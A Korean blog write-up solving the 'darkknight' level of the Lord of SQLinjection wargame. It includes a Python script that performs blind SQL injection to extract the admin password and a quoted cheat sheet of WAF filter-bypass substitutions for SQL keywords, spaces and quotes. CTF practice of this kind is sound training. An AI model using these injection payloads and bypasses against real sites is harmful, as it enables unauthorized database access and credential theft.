Lord of SQLinjection - darkknight

이전까지는 문자열 형태의 id 혹은 pw를 값을 넘겨주었다면, 이번에는 숫자 형태의 no를 넘겨주어야 한다. 

 

즉 no은 '로 둘러싸여서 쿼리를 실행하는 것이 아니기 때문에 굳이 '를 사용해 우회를 할 필요가 없다. 

수고를 좀 더 덜어준 셈이다. 

마침 필터링을 하는 부분도 '를 금지하고 있다. 

 

그렇기 때문에 문자를 이용해 Blind 인젝션을 시도하는 것은 불가능하다. 

(문자를 주기 위해서는 '를 포함을 해야 하기 때문에) 

 

그리고 또 제외를 하는 함수들도 있는데 각각 substr과 ascii가 있다. 

이는 다 다른 함수로 대체가 가능함. 

substr -> mid

ascii -> ord

 

=도 LIKE로 치환하면 된다. 

 

 

아래는 파이썬 자동화 도구이다. 

import requests

parameter = None



cookie = {'PHPSESSID':'자신의 쿠키 값을 입력'}

result = None

solve = ""
	
for i in range(1, 8+1):
	

	for ascii in range(48, 112+1):
		print(ascii)
		parameter = "?pw=NULL&&no=0|| ORD(MID(id,1,1)) LIKE 97 %26%26 ORD(MID(pw,{},1)) LIKE {}%23".format(i, ascii)
		url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" + parameter
		result = requests.get(url=url, cookies=cookie).text
		if "Hello admin" in result:
			print(i, ascii, chr(ascii))
			solve += chr(ascii)
			break
			
print( solve )

 

 

다른 블로거분이 필터를 우회하는 방법을 잘 포스팅해주셨다. 

https://securitynote.tistory.com/2

[SQLi] SQL Injection 필터링 우회

 

[substr] → ord, right, left, mid

 

[ascii] → ord, hex

 

[=, like, or, and]

= → like, between, in, instr

!= → <>

or → || (%7c%7c)

and → && (%26%26)

 

[공백]

'' → (), /**/, %90, %0a, %0b, %0c, %0d, %a0, +, %20,

주석(-- -, #) → ;%00

 

[싱글 쿼터]

' → %27, char, "(더블 쿼터)

 

[ereg, eregi]

특수문자 → %00(널 바이트)

문자열 → 대소문자 변경

 

[preg_match]

\